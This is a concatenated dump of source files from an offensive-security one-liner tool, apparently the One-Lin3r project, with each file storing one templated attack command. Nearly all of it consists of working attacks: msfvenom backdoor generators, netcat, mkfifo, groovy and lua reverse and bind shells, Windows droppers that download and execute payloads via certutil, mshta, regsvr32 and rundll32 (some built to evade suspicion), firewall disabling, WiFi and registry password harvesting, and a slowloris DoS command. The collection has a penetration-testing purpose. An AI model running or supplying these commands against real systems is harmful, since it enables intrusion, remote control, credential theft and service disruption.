2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse meterpreter backdoor into a macho file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p osx/x86/shell_reverse_tcp lhost="TARGET" lport=PORT -f macho > FILE_PATH.macho'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/php_reverse_meterpreter.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse meterpreter backdoor into a php file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p php/meterpreter_reverse_tcp lhost="TARGET" lport=PORT -f raw > FILE_PATH.php'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/unix_bash_reverse_shell.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse shell backdoor into a bash file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p cmd/unix/reverse_bash lhost="TARGET" lport=PORT -f raw > FILE_PATH.sh'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/unix_perl_reverse_shell.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse shell backdoor into a perl file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p cmd/unix/reverse_perl lhost="TARGET" lport=PORT -f raw > FILE_PATH.pl'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/unix_python_reverse_shell.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse meterpreter shell into a python file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p cmd/unix/reverse_python lhost="TARGET" lport=PORT -f raw > FILE_PATH.py'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/windows_asp_reverse_meterpreter.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse meterpreter backdoor into a asp file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p windows/meterpreter/reverse_tcp lhost="TARGET" lport=PORT -f asp > FILE_PATH.asp'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/msfvenom/windows_exe_reverse_meterpreter.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Generate a reverse meterpreter backdoor into a exe file."
4 | function = "Msfvenom Generator"
5 | liner = 'msfvenom -p windows/meterpreter/reverse_tcp lhost="TARGET" lport=PORT -f exe > FILE_PATH.exe'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/nmap/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/multi/nmap/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/nmap/common_malware_scan.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using nmap to launch a common malware scan."
4 | function = "Nmap script"
5 | liner = "nmap -sV --script=http-malware-host TARGET"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/nmap/ftp_bruteforce.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using nmap to launch a ftp bruteforce attack."
4 | function = "Nmap script"
5 | liner = "nmap --script ftp-brute -p 21 TARGET"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/nmap/full_vulnerability_scan.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using nmap to run a full vulnerability test against your target"
4 | function = "Nmap script"
5 | liner = "nmap -Pn --script vuln TARGET"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/nmap/google_malware_check.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using nmap to launch a google malware check against the target."
4 | function = "Nmap script"
5 | liner = "nmap -p80 --script http-google-malware TARGET"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/nmap/http_enumerate.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using nmap to enumerate a website."
4 | function = "Nmap script"
5 | liner = "nmap --script 'http-enum' -v -p80 -oN http-enum.nmap TARGET"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/multi/nmap/slowloris_attack.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using nmap to launch a slowloris DOS attack in a forever loop"
4 | function = "Nmap script"
5 | liner = "nmap TARGET -max-parallelism 800 -Pn --script http-slowloris --script-args http-slowloris.runforever=true"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/openbsd/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/openbsd/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/openbsd/bash/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/openbsd/bash/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/openbsd/bash/read_doas_config.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "The alternative for sudo for openbsds, most of the times you gonna find interesting things in doas config."
4 | function = "PrivEsc"
5 | liner = 'cat /etc/doas.conf'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/openbsd/nc/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/openbsd/nc/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/openbsd/nc/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses netcat and exec to setup a bind shell"
4 | function = "bind shell"
5 | liner = """coproc nc -luvp PORT; exec /bin/bash <&0${COPROC[0]} >&${COPROC[1]} 2>&1"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/openbsd/nc/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses netcat and mkfifo to setup a reverse shell"
4 | function = "reverse shell"
5 | liner = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TARGET PORT >/tmp/f"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/cmd/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/bat_dropper.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and execute a batch file from a webdav server."
4 | function = "Dropper"
5 | liner = "cmd.exe /k < URL"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/disable_firewall_netsh.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Disable firewall using netsh"
4 | function = "PrivEsc"
5 | liner = 'netsh firewall set opmode disable & netsh advfirewall set allprofiles state off'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/dll_dropper_certutil_base64.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses certutil to download your base64 encoded dll file like a txt file to avoid suspicion."
4 | function = "Dropper"
5 | liner = """certutil -urlcache -split -f URL google_https_cert.txt && certutil -decode google_https_cert.txt https_cert.dll && regsvr32 /s /u https_cert.dll"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/dll_dropper_regasm.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and execute a dll file from a webdav server."
4 | function = "Dropper"
5 | liner = r"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u URL"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/dll_dropper_rundll32.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and execute a dll file from a webdav server."
4 | function = "Dropper"
5 | liner = "rundll32 URL,entrypoint"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/dll_loader_control_panel.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using windows's control panel to load a dll file!"
4 | function = "Loader"
5 | liner = """control.exe FILE_PATH"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/dll_loader_word.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using microsoft's office word to load a dll file!"
4 | function = "Loader"
5 | liner = """winword /l FILE_PATH"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/exe_dropper_bitsadmin.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses bitsadmin to download your exe file and execute."
4 | function = "Dropper"
5 | liner = "bitsadmin /transfer mydownloadjob /download /priority normal URL C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/exe_dropper_certutil.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses certutil to download your exe file like a cert file to avoid suspicion."
4 | function = "Dropper"
5 | liner = """certutil.exe -urlcache -split -f URL google_https_cert.exe && google_https_cert.exe"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/execute_c#_files.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using the .NET compiler to compile a c# liner locally that can then be executed."
4 | function = "Execute"
5 | liner = "C:\Windows\Microsoft.NET\Framework\\v2.0.50727\csc.exe /out:liner.exe FILE_PATH"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/execute_over_forfiles.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses forfiles to execute commands without using cmd."
4 | function = "Execute"
5 | liner = """forfiles /p c:\windows\system32 /m notepad.exe /c COMMAND"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/get_architecture.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Extracts windows architecture with wmic"
4 | function = "PrivEsc"
5 | liner = 'wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/get_saved_wifi_aps_ssid.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "One liner to find all aps ssid"
4 | function = "PrivEsc"
5 | liner = "netsh wlan show profile"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/get_saved_wifi_passwords.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "One liner to grab all cleartext WiFi passwords"
4 | function = "PrivEsc"
5 | liner = 'cls & echo. & for /f "tokens=4 delims=: " %a in (\'netsh wlan show profiles ^| find "Profile "\') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/get_snmp_config.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Get current SNMP Configuration"
4 | function = "PrivEsc"
5 | liner = 'reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/get_systeminfo.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Grabs windows name and version from systeminfo "
4 | function = "PrivEsc"
5 | liner = 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/hta_dropper_mshta.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses mshta executable to download and execute your hta file from a http or webdav server."
4 | function = "Dropper"
5 | liner = "mshta URL"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_arp_tables.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List the ARP table"
4 | function = "PrivEsc"
5 | liner = 'arp -A'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_current_connections.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all current connections"
4 | function = "PrivEsc"
5 | liner = 'netstat -ano'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_drives.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all drives using wmic"
4 | function = "PrivEsc"
5 | liner = 'wmic logicaldisk get caption,description,providername'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_installed_updates.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Extract patchs and updates from wmic"
4 | function = "PrivEsc"
5 | liner = 'wmic qfe'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_localgroups.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all local groups"
4 | function = "PrivEsc"
5 | liner = 'net localgroup'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_logon_requirements.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List logon requirements"
4 | function = "PrivEsc"
5 | liner = 'net accounts'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_network_interfaces.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all network interfaces, IP, and DNS."
4 | function = "PrivEsc"
5 | liner = 'ipconfig /all'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_network_shares.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all network shares"
4 | function = "PrivEsc"
5 | liner = 'net share'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_processes_running_as_system.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Get processes that's running as system"
4 | function = "PrivEsc"
5 | liner = 'tasklist /v /fi "username eq system"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_routing_tables.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List current routing table"
4 | function = "PrivEsc"
5 | liner = 'route print'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_running_processes.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Get running processes"
4 | function = "PrivEsc"
5 | liner = 'tasklist /v'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_scheduled_tasks.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all Scheduled tasks using schtasks"
4 | function = "PrivEsc"
5 | liner = 'schtasks /query /fo LIST 2>nul | findstr TaskName'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_startup_folder_allusers.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all startup tasks depending on the startup folder for all users"
4 | function = "PrivEsc"
5 | liner = 'dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_startup_folder_currentuser.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all startup tasks depending on the startup folder for current user"
4 | function = "PrivEsc"
5 | liner = 'dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_startup_tasks_with_wmic.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all startup tasks using wmic"
4 | function = "PrivEsc"
5 | liner = 'wmic startup get caption,command'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_unqouted_services.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using wmic to search for unquoted services paths so you can exploit it later"
4 | function = "PrivEsc"
5 | liner = '''wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """'''
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_user_privileges.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List user privileges with whoami"
4 | function = "PrivEsc"
5 | liner = 'whoami /priv'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/list_users.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all users with whoami"
4 | function = "PrivEsc"
5 | liner = 'whoami /all'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/msi_dropper_wininstaller.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Passing msi file url to the Windows installer will download and execute it!"
4 | function = "Dropper"
5 | liner = """msiexec /i URL"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/msi_quiet_installer.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Silently install a local msi file."
4 | function = "Execute"
5 | liner = "msiexec /quiet /qn /i FILE_PATH"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_firewall_config.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List firewall state and current configuration using netsh"
4 | function = "PrivEsc"
5 | liner = 'netsh firewall show state & netsh firewall show config'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_always_install_elevated_key_cu.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query the current user AlwaysInstallElevated from the registry to check if msi files are always installed elevated."
4 | function = "PrivEsc"
5 | liner = 'reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_always_install_elevated_key_lm.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query the local machine AlwaysInstallElevated from the registry to check if msi files are always installed elevated."
4 | function = "PrivEsc"
5 | liner = 'reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_putty_sessions.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query putty key from the registry to get putty clear text proxy credentials"
4 | function = "PrivEsc"
5 | liner = 'reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_r_key.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query the Local machine R key from the registry"
4 | function = "PrivEsc"
5 | liner = 'reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_run_key.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query run key from the registry for the current user ofc."
4 | function = "PrivEsc"
5 | liner = 'reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_runonce_key.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query run once key from the registry for the current user ofc."
4 | function = "PrivEsc"
5 | liner = 'reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_snmp_key.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query the Local machine snmp key from the registry to get snmp parameters"
4 | function = "PrivEsc"
5 | liner = 'reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_vnc_passwords.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query vnc key from the registry to get vnc credentials ofc"
4 | function = "PrivEsc"
5 | liner = 'reg query "HKCU\Software\ORL\WinVNC3\Password"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_registry_winlogon_key.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Query the Local machine winlogon key from the registry for windows autologin"
4 | function = "PrivEsc"
5 | liner = 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_services_with_tasklist.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all services using tasklist."
4 | function = "PrivEsc"
5 | liner = 'tasklist /SVC'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/read_services_with_wmic.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all services using wmic."
4 | function = "PrivEsc"
5 | liner = 'wmic service list brief'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/runas_with_creds.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using runas with a provided set of credentials to execute a command."
4 | function = "Execute"
5 | liner = 'C:\Windows\System32\runas.exe /env /noprofile /user:USERNAME PASSWORD "COMMAND"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/sct_dropper_mshta.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and execute a scriptlet file from a http server."
4 | function = "Dropper"
5 | liner = 'mshta vbscript:Close(Execute("GetObject(""script:URL"")"))'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/sct_dropper_regsvr32.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and execute a scriptlet file from a http server or webdav server."
4 | function = "Dropper"
5 | liner = 'regsvr32 /u /n /s /i:URL scrobj.dll'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/sct_dropper_rundll32.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and execute a scriptlet file from a http server."
4 | function = "Dropper"
5 | liner = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:URL");window.close();'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/search_for_passwords.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Search for passwords in file contents"
4 | function = "PrivEsc"
5 | liner = 'findstr /si password *.xml *.ini *.txt *.config'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/search_registry_for_passwords_cu.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Search registry current user tree for 'password' string"
4 | function = "PrivEsc"
5 | liner = 'REG QUERY HKCU /F "password" /t REG_SZ /S /K'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/search_registry_for_passwords_lm.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Search registry local machine tree for 'password' string"
4 | function = "PrivEsc"
5 | liner = 'REG QUERY HKLM /F "password" /t REG_SZ /S /K'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/win_remote_management.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Windows Remote Management provides the ability to remotely execute wmi commands."
4 | function = "Execute"
5 | liner = 'winrm qc -q & winrm i c wmicimv2/Win32_Process @{CommandLine="COMMAND"}'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/cmd/xsl_dropper_wmic.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses wmic to invoke an XSL local or remote file, which may contain some scripting of our choice"
4 | function = "Dropper"
5 | liner = 'wmic os get /format:"URL"'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/groovysh/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/groovysh/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/groovysh/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple reverse shell using groovy command-line application."
4 | function = "reverse shell"
5 | liner = """groovysh -e 'String VAR1="TARGET";int VAR2=PORT;String VAR3="cmd.exe";Process VAR4=new ProcessBuilder(VAR3).redirectErrorStream(true).start();Socket VAR5=new Socket(VAR1,VAR2);InputStream VAR6=VAR4.getInputStream(),VAR7=VAR4.getErrorStream(), VAR10=VAR5.getInputStream();OutputStream VAR8=VAR4.getOutputStream(),VAR9=VAR5.getOutputStream();while(!VAR5.isClosed()){while(VAR6.available()>0)VAR9.write(VAR6.read());while(VAR7.available()>0)VAR9.write(VAR7.read());while(VAR10.available()>0)VAR8.write(VAR10.read());VAR9.flush();VAR8.flush();Thread.sleep(50);try{VAR4.exitValue();break;}catch(Exception e){}};VAR4.destroy();VAR5.close();'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/lua/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/lua/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/lua/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use lua only to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = """lua5.1 -e 'local host, p = "TARGET", PORT local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, p); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/nc/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/nc/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/nc/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses netcat tool to setup a bind shell"
4 | function = "bind shell"
5 | liner = """nc -nv PORT -e cmd.exe"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/nc/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses netcat tool to establish a reverse shell"
4 | function = "reverse shell"
5 | liner = """nc -nv TARGET PORT -e cmd.exe"""
6 |
